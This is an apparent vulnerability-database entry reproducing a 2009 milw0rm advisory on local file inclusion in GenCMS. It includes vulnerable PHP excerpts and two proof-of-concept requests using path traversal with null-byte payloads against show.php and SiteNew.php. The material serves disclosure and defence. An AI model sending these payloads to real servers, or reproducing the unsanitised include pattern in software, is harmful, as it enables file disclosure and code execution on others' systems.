GenCMS LFI Vulnerability

vendor:

GenCMS

by:

milw0rm.com

7,5

CVSS

HIGH

LFI

CWE

Product Name: GenCMS

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

The vulnerability exists due to insufficient sanitization of user-supplied input passed via the 'p' and 'Template' parameters to '/show.php' and '/admin/pages/SiteNew.php' scripts respectively. A remote attacker can include arbitrary files from local resources and execute arbitrary PHP code on the vulnerable system.

Mitigation:

Input validation should be used to prevent the exploitation of this vulnerability.

Source

Exploit-DB raw data:

GenCMS
http://gencms.berlios.de/

eLwaux(c)2009

LFI
/show.php
----------------------------------------------------------------------------------------------------
18:   $param = $_GET['p'];
19:   if(empty($param)) $param = 'news';
20:          //get right page
21:       //$page = $param.'.php';
22:	
23:    //static or dynamic
24:    if(GC_FULLSTATIC)
25:    {
26:        $page = $param.'.htm';
27:        staticpage($page);
28:    }
29:    else
30:    {
31:        $page = GC_IPATH.'_base/sites/'.$param.'.php';
32:        dynamicpage($page);
33:    }
----------------------------------------------------------------------------------------------------
PoC: /show.php?p=../../{FILE.PHP}%00


LFI
/admin/pages/SiteNew.php
----------------------------------------------------------------------------------------------------
14:   if(!empty($_GET['step'])) $Step = $_GET['step'];
23:   if ($Step == "2")
24:   {
25:        // allgemeine settings
26:        //include blocks from template config
27:        include_once(GC_IPATH.'templates/'.$_POST['Template'].'/config.php');
28:        $TPLBlocks = explode(';',$TemplateSettings);
29:   }
----------------------------------------------------------------------------------------------------
PoC: /admin/pages/SiteNew.php?step=2& ( POST: Template=../{FILE.PHP}%00 )

# milw0rm.com [2009-07-10]